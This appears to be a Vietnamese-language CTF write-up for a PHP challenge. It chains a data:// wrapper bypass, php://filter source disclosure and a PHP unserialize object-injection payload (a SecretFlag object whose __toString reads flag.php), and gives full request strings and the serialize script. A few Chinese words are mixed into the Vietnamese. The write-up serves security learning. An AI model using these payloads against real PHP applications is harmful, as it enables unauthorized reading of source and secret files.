Khai thác lỗ hổng kết hợp để lấy cờ trong bài CTF sử dụng PHP

Truy cập mục tiêu, hệ thống cung cấp đoạn mã nguồn sau:

<?php
$inputA = $_GET["a"];
$inputB = $_GET["b"];
$inputC = $_GET["c"];

if (isset($inputA) && file_get_contents($inputA) === "hello from zjctf") {
    echo "<br><h1>" . file_get_contents($inputA) . "</h1><br>";
    
    if (strpos($inputB, "flag") !== false) {
        die("Access denied!");
    } else {
        include($inputB); // Gợi ý: try_me.php
        $obj = unserialize($inputC);
        echo $obj;
    }
} else {
    highlight_file(__FILE__);
}
?>

Phân tích mã nguồn

  • Tham số a: Giá trị phải trỏ tới một nguồn có nội dung chính xác là hello from zjctf. Vì hàm file_get_contents chỉ đọc từ file hoặc luồng, không thể truyền trực tiếp chuỗi.
  • Tham số b: Không được chứa từ khóa flag, nếu không sẽ dừng thực thi. Nếu hợp lệ, hệ thống sẽ include file này — gợi ý tồn tại file try_me.php.
  • Tham số c: Sẽ được反序列化 (unserialize) và in ra — đây là điểm khai thác tiềm năng.

Bước 1: Vượt qua kiểm tra tham số a

Sử dụng giao thức data:// để giả lập nội dung file:

a=data://text/plain;base64,aGVsbG8gZnJvbSB6amN0Zg==

Chuỗi base64 aGVsbG8gZnJvbSB6amN0Zg== giải mã thành hello from zjctf.

Bước 2: Đọc nội dung file try_me.php

Vì không chứa từ "flag", ta dùng bộ lọc base64 để xem nội dung file:

b=php://filter/convert.base64-encode/resource=try_me.php

Gửi yêu cầu đầy đủ:

?a=data://text/plain;base64,aGVsbG8gZnJvbSB6amN0Zg==&b=php://filter/convert.base64-encode/resource=try_me.php&c=test

Giải mã base64 nhận được, ta thấy nội dung:

<?php
class SecretFlag {
    public $targetFile;
    public function __toString() {
        if (isset($this->targetFile)) {
            echo file_get_contents($this->targetFile);
            echo "<br>";
            return "Almost there... keep going!";
        }
    }
}
?>

Bước 3: Khai thác反序列化

Lớp SecretFlag có phương thức __toString() tự động kích hoạt khi đối tượng bị ép kiểu chuỗi — như khi dùng echo. Ta cần tạo payload反序列化 trỏ targetFile tới flag.php.

Tạo payload bằng đoạn mã sau:

<?php
class SecretFlag {
    public $targetFile = "flag.php";
}
echo serialize(new SecretFlag());
?>

Kết quả:

O:10:"SecretFlag":1:{s:10:"targetFile";s:8:"flag.php";}

Bước 4: Gửi payload hoàn chỉnh

?a=data://text/plain;base64,aGVsbG8gZnJvbSB6amN0Zg==&b=try_me.php&c=O:10:"SecretFlag":1:{s:10:"targetFile";s:8:"flag.php";}

Khi thực thi, hệ thống反序列化 payload, gọi echo → kích hoạt __toString() → đọc nội dung flag.php.

Xem mã nguồn trang kết quả, cờ sẽ xuất hiện trong HTML.

Thẻ: php CTF

Đăng vào ngày 22 tháng 6 lúc 18:38